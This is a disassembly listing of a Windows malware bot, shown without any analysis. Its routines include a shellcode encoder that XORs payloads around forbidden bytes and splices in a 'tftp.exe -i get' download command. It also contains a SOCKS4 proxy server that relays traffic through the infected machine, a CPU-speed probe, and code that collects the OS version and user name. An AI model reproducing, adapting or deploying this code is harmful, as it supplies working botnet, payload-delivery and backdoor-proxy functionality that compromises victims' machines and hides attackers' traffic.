		mov	dword_42B3C5, ecx
		lea	ecx, [eax+17h]
		mov	dword_42B3BD, ecx
		pop	ecx
		sub	ecx, eax
		mov	dword_42B3D3, ecx
		push	1Dh
		pop	ecx
		mov	edi, ebx
		mov	esi, offset dword_42B340
		rep movsd
		mov	esi, [ebp+arg_8]
		mov	ecx, edx
		shr	ecx, 2
		lea	edi, [ebx+74h]
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+arg_4]
		and	ecx, 3
		rep movsb
		add	edx, 74h
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+0Ch)
		movsd
		movsb
		mov	esi, [ebp+arg_C]
		add	edx, 5
		lea	edi, [edx+ebx]
		mov	ecx, eax
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		mov	ebx, [ebp+arg_0]
		and	ecx, 3
		rep movsb
		add	edx, eax
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+11h)
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_C]
		add	edx, 10h
		mov	ecx, eax
		lea	edi, [edx+ebx]
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		push	0Eh
		lea	edi, [edx+eax]
		add	edi, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	esi, offset byte_42B3C9
		rep movsd
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F576	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F66E	proc near		; CODE XREF: sub_40F689+41p
					; sub_40F779+Ep

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40F677
		inc	ecx


loc_40F677:				; CODE XREF: sub_40F66E+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40F66E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F689	proc near		; CODE XREF: sub_40F790+56p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_C]
		cmp	bl, 0Ah
		push	esi
		jz	short loc_40F6A4
		cmp	bl, 0Dh
		jz	short loc_40F6A4
		cmp	bl, 5Ch
		jz	short loc_40F6A4
		test	bl, bl
		jnz	short loc_40F6A5


loc_40F6A4:				; CODE XREF: sub_40F689+Bj
					; sub_40F689+10j ...
		inc	ebx


loc_40F6A5:				; CODE XREF: sub_40F689+19j
		mov	esi, 0FFh
		cmp	ebx, esi
		jbe	short loc_40F6C9
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40F6C3
		cmp	al, 0Dh
		jz	short loc_40F6C3
		cmp	al, 5Ch
		jz	short loc_40F6C3
		test	al, al
		jnz	short loc_40F6C9


loc_40F6C3:				; CODE XREF: sub_40F689+2Cj
					; sub_40F689+30j ...
		add	ebx, 100h


loc_40F6C9:				; CODE XREF: sub_40F689+23j
					; sub_40F689+38j
		push	ebx
		call	sub_40F66E
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+arg_C], eax
		ja	short loc_40F6DF
		cmp	eax, 0FFFFh
		jbe	short loc_40F6E6


loc_40F6DF:				; CODE XREF: sub_40F689+4Dj
		xor	eax, eax
		jmp	loc_40F775
; ---------------------------------------------------------------------------


loc_40F6E6:				; CODE XREF: sub_40F689+54j
		mov	dl, byte_479E18
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_40F714


loc_40F6F2:				; CODE XREF: sub_40F689+89j
		mov	ecx, [ebp+arg_8]
		mov	cl, [eax+ecx]
		xor	cl, dl
		jz	short loc_40F70B
		cmp	cl, 0Ah
		jz	short loc_40F70B
		cmp	cl, 0Dh
		jz	short loc_40F70B
		cmp	cl, 5Ch
		jnz	short loc_40F70F


loc_40F70B:				; CODE XREF: sub_40F689+71j
					; sub_40F689+76j ...
		inc	dl
		xor	eax, eax


loc_40F70F:				; CODE XREF: sub_40F689+80j
		inc	eax
		cmp	eax, ebx
		jb	short loc_40F6F2


loc_40F714:				; CODE XREF: sub_40F689+67j
		cmp	ebx, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	5
		mov	byte_479E18, dl
		pop	ecx
		ja	short loc_40F73C
		mov	esi, offset loc_42B328
		mov	byte_42B335, bl
		mov	byte_42B339, dl
		rep movsd
		push	15h
		jmp	short loc_40F754
; ---------------------------------------------------------------------------


loc_40F73C:				; CODE XREF: sub_40F689+9Aj
		mov	word_42B31E, bx
		mov	byte_42B323, dl
		mov	esi, offset loc_42B310
		rep movsd
		movsw
		push	17h


loc_40F754:				; CODE XREF: sub_40F689+B1j
		pop	eax
		xor	ecx, ecx
		test	ebx, ebx
		movsb
		pop	edi
		jbe	short loc_40F772
		mov	esi, [ebp+arg_0]
		add	esi, eax


loc_40F762:				; CODE XREF: sub_40F689+E7j
		mov	eax, [ebp+arg_8]
		mov	al, [ecx+eax]
		xor	al, dl
		mov	[esi+ecx], al
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40F762


loc_40F772:				; CODE XREF: sub_40F689+D2j
		mov	eax, [ebp+arg_C]


loc_40F775:				; CODE XREF: sub_40F689+58j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40F689	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F779	proc near		; CODE XREF: sub_40F790+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40F54A
		push	eax
		call	sub_40F66E
		add	esp, 0Ch
		retn
sub_40F779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F790	proc near		; CODE XREF: sub_411235+6Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40F779
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40F7B0
		cmp	eax, 0FFFFh
		jbe	short loc_40F7B4


loc_40F7B0:				; CODE XREF: sub_40F790+17j
		xor	eax, eax
		jmp	short loc_40F7F9
; ---------------------------------------------------------------------------


loc_40F7B4:				; CODE XREF: sub_40F790+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40F54A
		add	eax, 101h
		push	eax
		call	sub_41344D
		add	esp, 0Ch
		push	edi
		push	ebx
		push	edi
		push	ebx
		mov	esi, eax
		call	sub_40F54A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40F576
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F689
		push	esi
		mov	edi, eax
		call	sub_412FE4
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40F7F9:				; CODE XREF: sub_40F790+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40F790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F7FD	proc near		; CODE XREF: sub_40F8FA+200p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	esi, 400h


loc_40F810:				; CODE XREF: sub_40F7FD+C0j
					; sub_40F7FD+F2j
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+var_100], eax
		mov	[ebp+var_104], ecx
		xor	eax, eax


loc_40F824:				; CODE XREF: sub_40F7FD+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_40F835
		inc	eax
		cmp	eax, ecx
		jb	short loc_40F824


loc_40F835:				; CODE XREF: sub_40F7FD+31j
		cmp	eax, ecx
		jnz	short loc_40F849
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_40F849:				; CODE XREF: sub_40F7FD+3Aj
		push	ebx
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+var_504]
		rep stosd
		push	ebx
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_433544	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_4]
		call	dword_4334F4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_40F8AB
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_433414	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F8F5
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F8F5


loc_40F8AB:				; CODE XREF: sub_40F7FD+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4334F4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F810
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_433414	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F8F5
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40F810


loc_40F8F5:				; CODE XREF: sub_40F7FD+95j
					; sub_40F7FD+ACj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F8FA	proc near		; DATA XREF: sub_40FB2A+13Fo

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_4D4		= byte ptr -4D4h
var_4D3		= byte ptr -4D3h
var_4D2		= word ptr -4D2h
var_4D0		= dword	ptr -4D0h
var_4CC		= byte ptr -4CCh
var_CC		= byte ptr -0CCh
var_48		= byte ptr -48h
var_30		= dword	ptr -30h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 5D8h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+74h+var_CC]
		rep movsd
		mov	edi, [ebp+74h+var_30]
		xor	eax, eax
		inc	eax
		mov	[edx+0ACh], eax
		mov	esi, edi
		mov	[ebp+74h+var_5D8], eax
		imul	esi, 234h
		mov	ecx, dword_434344[esi]
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_5D8]
		push	eax
		push	ebx
		mov	[ebp+74h+arg_0], edi
		mov	[ebp+74h+var_C], 5
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_5D4], ecx
		call	dword_433544	; select
		test	eax, eax
		jnz	short loc_40F96D
		push	dword_434344[esi]
		jmp	loc_40FB15
; ---------------------------------------------------------------------------


loc_40F96D:				; CODE XREF: sub_40F8FA+66j
		push	ebx
		push	408h
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_434344[esi]
		call	dword_433414	; recv
		test	eax, eax
		jle	loc_40FB0F
		cmp	[ebp+74h+var_4D4], 4
		jnz	loc_40FB0F
		cmp	[ebp+74h+var_4D3], 1
		jnz	loc_40FB0F
		cmp	[ebp+74h+var_48], bl
		jz	loc_40FA43
		lea	eax, [ebp+74h+var_48]
		lea	edi, [ebp+74h+var_4CC]


loc_40F9BA:				; CODE XREF: sub_40F8FA+DCj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_40F9DC
		cmp	cl, bl
		jz	short loc_40F9D8
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_40F9DC
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		cmp	cl, bl
		jnz	short loc_40F9BA


loc_40F9D8:				; CODE XREF: sub_40F8FA+CAj
		xor	eax, eax
		jmp	short loc_40F9E1
; ---------------------------------------------------------------------------


loc_40F9DC:				; CODE XREF: sub_40F8FA+C6j
					; sub_40F8FA+D4j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40F9E1:				; CODE XREF: sub_40F8FA+E0j
		cmp	eax, ebx
		jz	short loc_40FA43
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_4CC]
		push	eax
		push	offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"...
		call	sub_401CA7
		add	esp, 0Ch
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Dh


loc_40FA0A:				; CODE XREF: sub_40F8FA+1C0j
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_434344[esi]
		call	dword_433534	; send


loc_40FA2F:				; CODE XREF: sub_40F8FA+210j
		push	dword_434344[esi]
		call	dword_4335AC	; closesocket
		push	[ebp+74h+arg_0]
		jmp	loc_40FB1C
; ---------------------------------------------------------------------------


loc_40FA43:				; CODE XREF: sub_40F8FA+B1j
					; sub_40F8FA+E9j
		xor	eax, eax
		lea	edi, [ebp+74h+var_1C]
		stosd
		stosd
		stosd
		stosd
		mov	ax, [ebp+74h+var_4D2]
		push	6
		mov	[ebp+74h+var_1A], ax
		mov	eax, [ebp+74h+var_4D0]
		push	1
		push	2
		mov	[ebp+74h+var_1C], 2
		mov	[ebp+74h+var_18], eax
		call	dword_4334A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jnz	short loc_40FA88
		call	dword_433558	; WSAGetLastError
		push	eax
		push	offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("...
		jmp	short loc_40FAA6
; ---------------------------------------------------------------------------


loc_40FA88:				; CODE XREF: sub_40F8FA+17Ej
		push	10h
		lea	ecx, [ebp+74h+var_1C]
		push	ecx
		push	eax
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FABF
		call	dword_433558	; WSAGetLastError
		push	eax
		push	offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to	t"...


loc_40FAA6:				; CODE XREF: sub_40F8FA+18Cj
		call	sub_401CA7
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Bh
		jmp	loc_40FA0A
; ---------------------------------------------------------------------------


loc_40FABF:				; CODE XREF: sub_40F8FA+19Ej
		xor	eax, eax
		push	ebx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Ah
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_434344[esi]
		call	dword_433534	; send
		push	dword_434344[esi]
		push	[ebp+74h+var_4]
		call	sub_40F7FD
		pop	ecx
		pop	ecx
		push	[ebp+74h+var_4]
		call	dword_4335AC	; closesocket
		jmp	loc_40FA2F
; ---------------------------------------------------------------------------


loc_40FB0F:				; CODE XREF: sub_40F8FA+8Ej
					; sub_40F8FA+9Bj ...
		push	dword_434344[esi]


loc_40FB15:				; CODE XREF: sub_40F8FA+6Ej
		call	dword_4335AC	; closesocket
		push	edi


loc_40FB1C:				; CODE XREF: sub_40F8FA+144j
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40F8FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40FB2A	proc near		; DATA XREF: sub_4078FA+494Co

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 2D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	2Ch
		pop	ecx
		xor	ebx, ebx
		lea	edi, [ebp+74h+var_D4]
		rep movsd
		push	[ebp+74h+var_40]
		inc	ebx
		mov	[eax+0A8h], ebx
		xor	eax, eax
		lea	edi, [ebp+74h+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_4], 10h
		mov	[ebp+74h+var_14], 2
		call	dword_4335EC	; ntohs
		push	6
		push	ebx
		xor	esi, esi
		push	2
		mov	[ebp+74h+var_12], ax
		mov	[ebp+74h+var_10], esi
		call	dword_4334A0	; socket
		mov	edi, eax
		mov	eax, [ebp+74h+var_3C]
		imul	eax, 234h
		mov	dword_434344[eax], edi
		push	10h
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	edi
		call	dword_433578	; bind
		test	eax, eax
		jnz	loc_40FCBB
		push	0Ah
		push	edi
		call	dword_4335C0	; listen
		test	eax, eax
		jnz	loc_40FCBB
		push	[ebp+74h+var_40]
		push	[ebp+74h+var_D4]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_40FBF8
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_4045DD
		add	esp, 14h


loc_40FBF8:				; CODE XREF: sub_40FB2A+B2j
					; sub_40FB2A+17Aj ...
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401C33
		pop	ecx
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	edi
		call	dword_433464	; accept
		push	[ebp+74h+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+74h+var_22]
		push	eax
		push	[ebp+74h+var_20]
		mov	[ebp+74h+var_28], esi
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+74h+var_2D4]
		push	12h
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+74h+var_3C]
		mov	[ebp+74h+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_D4]
		push	eax
		push	offset sub_40F8FA
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+74h+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40FCB1
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40FBF8
; ---------------------------------------------------------------------------


loc_40FCA9:				; CODE XREF: sub_40FB2A+18Aj
		push	5
		call	ds:dword_41F000	; Sleep


loc_40FCB1:				; CODE XREF: sub_40FB2A+15Dj
		cmp	[ebp+74h+var_28], esi
		jz	short loc_40FCA9
		jmp	loc_40FBF8
; ---------------------------------------------------------------------------


loc_40FCBB:				; CODE XREF: sub_40FB2A+77j
					; sub_40FB2A+88j
		push	edi
		call	dword_4335AC	; closesocket
		push	[ebp+74h+var_40]
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_40FCF8
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_4045DD
		add	esp, 14h


loc_40FCF8:				; CODE XREF: sub_40FB2A+1B2j
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_3C]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40FB2A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40FD16	proc near		; CODE XREF: sub_401000+74p
					; sub_4078FA+42B4p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41F004	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		mov	esi, offset dword_479E1C
		push	esi
		call	sub_412E0D
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40FD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD69	proc near		; CODE XREF: sub_40FE1F+240p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_40FD71:				; CODE XREF: sub_40FD69+2Fj
					; sub_40FD69+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	ds:dword_41F000	; Sleep
		rdtsc
		push	0
		sub	eax, esi
		push	edi
		sbb	edx, ebx
		push	edx
		push	eax
		call	sub_414600
		mov	esi, edx
		test	esi, esi
		mov	ebx, eax
		ja	short loc_40FD71
		jb	short loc_40FDA0
		cmp	ebx, edi
		ja	short loc_40FD71


loc_40FDA0:				; CODE XREF: sub_40FD69+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_414580
		mov	ecx, edx
		push	64h
		xor	edx, edx
		test	ecx, ecx
		mov	edi, eax
		pop	eax
		ja	short loc_40FE13
		jb	short loc_40FDBF
		cmp	edi, 50h
		jnb	short loc_40FDC4


loc_40FDBF:				; CODE XREF: sub_40FD69+4Fj
		push	4Bh
		pop	eax
		xor	edx, edx


loc_40FDC4:				; CODE XREF: sub_40FD69+54j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDCF
		cmp	edi, 47h
		jnb	short loc_40FDD4


loc_40FDCF:				; CODE XREF: sub_40FD69+5Fj
		push	42h
		pop	eax
		xor	edx, edx


loc_40FDD4:				; CODE XREF: sub_40FD69+64j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDDF
		cmp	edi, 37h
		jnb	short loc_40FDE4


loc_40FDDF:				; CODE XREF: sub_40FD69+6Fj
		push	32h
		pop	eax
		xor	edx, edx


loc_40FDE4:				; CODE XREF: sub_40FD69+74j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDEF
		cmp	edi, 26h
		jnb	short loc_40FDF4


loc_40FDEF:				; CODE XREF: sub_40FD69+7Fj
		push	21h
		pop	eax
		xor	edx, edx


loc_40FDF4:				; CODE XREF: sub_40FD69+84j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FDFF
		cmp	edi, 1Eh
		jnb	short loc_40FE04


loc_40FDFF:				; CODE XREF: sub_40FD69+8Fj
		push	19h
		pop	eax
		xor	edx, edx


loc_40FE04:				; CODE XREF: sub_40FD69+94j
		test	ecx, ecx
		ja	short loc_40FE13
		jb	short loc_40FE0F
		cmp	edi, 0Ah
		jnb	short loc_40FE13


loc_40FE0F:				; CODE XREF: sub_40FD69+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40FE13:				; CODE XREF: sub_40FD69+4Dj
					; sub_40FD69+5Dj ...
		sub	eax, edi
		sbb	edx, ecx
		add	eax, ebx
		pop	edi
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_40FD69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_40FE1F	proc near		; CODE XREF: sub_4078FA+44ABp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 7E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+70h+var_CC]
		push	eax
		mov	[ebp+70h+var_4], 41FA76h
		mov	[ebp+70h+var_CC], 94h
		call	ds:dword_41F0F8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+70h+var_C8], 4
		jnz	short loc_40FE90
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_40FE72
		cmp	[ebp+70h+var_BC], 1
		jnz	short loc_40FE5F
		mov	[ebp+70h+var_4], offset	a95 ; "95"


loc_40FE5F:				; CODE XREF: sub_40FE1F+37j
		cmp	[ebp+70h+var_BC], 2
		jnz	loc_40FEF6
		mov	[ebp+70h+var_4], offset	aNt ; "NT"
		jmp	short loc_40FECD
; ---------------------------------------------------------------------------


loc_40FE72:				; CODE XREF: sub_40FE1F+31j
		cmp	[ebp+70h+var_C4], 0Ah
		jnz	short loc_40FE81
		mov	[ebp+70h+var_4], offset	a98 ; "98"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FE81:				; CODE XREF: sub_40FE1F+57j
		cmp	[ebp+70h+var_C4], 5Ah
		jnz	short loc_40FEC0
		mov	[ebp+70h+var_4], offset	aMe_0 ;	"ME"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FE90:				; CODE XREF: sub_40FE1F+2Cj
		cmp	[ebp+70h+var_C8], 5
		jnz	short loc_40FEC0
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_40FEA4
		mov	[ebp+70h+var_4], offset	a2k ; "2K"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FEA4:				; CODE XREF: sub_40FE1F+7Aj
		cmp	[ebp+70h+var_C4], 1
		jnz	short loc_40FEB3
		mov	[ebp+70h+var_4], offset	aXp_0 ;	"XP"
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FEB3:				; CODE XREF: sub_40FE1F+89j
		cmp	[ebp+70h+var_C4], 2
		mov	[ebp+70h+var_4], offset	a2003 ;	"2003"
		jz	short loc_40FEC7


loc_40FEC0:				; CODE XREF: sub_40FE1F+66j
					; sub_40FE1F+75j
		mov	[ebp+70h+var_4], offset	a??? ; "???"


loc_40FEC7:				; CODE XREF: sub_40FE1F+60j
					; sub_40FE1F+6Fj ...
		cmp	[ebp+70h+var_BC], 2
		jnz	short loc_40FEF6


loc_40FECD:				; CODE XREF: sub_40FE1F+51j
		cmp	[ebp+70h+var_B8], bl
		jz	short loc_40FEF6
		lea	eax, [ebp+70h+var_B8]
		push	eax
		push	[ebp+70h+var_4]
		lea	eax, [ebp+70h+var_2E8]
		push	offset aSS_4	; "%s (%s)"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+70h+var_2E8]
		add	esp, 10h
		mov	[ebp+70h+var_4], eax


loc_40FEF6:				; CODE XREF: sub_40FE1F+44j
					; sub_40FE1F+ACj ...
		push	3Fh
		pop	ecx
		xor	eax, eax
		mov	[ebp+70h+var_25C], cx
		lea	edi, [ebp+70h+var_25A]
		rep stosd
		stosw
		mov	eax, dword_433530
		cmp	eax, ebx
		mov	[ebp+70h+var_C], 100h
		jz	short loc_40FF29
		lea	ecx, [ebp+70h+var_C]
		push	ecx
		lea	ecx, [ebp+70h+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40FF29:				; CODE XREF: sub_40FE1F+FBj
		push	[ebp+70h+arg_4]
		call	sub_406C33
		pop	ecx
		push	eax
		call	dword_433514	; inet_addr
		push	2
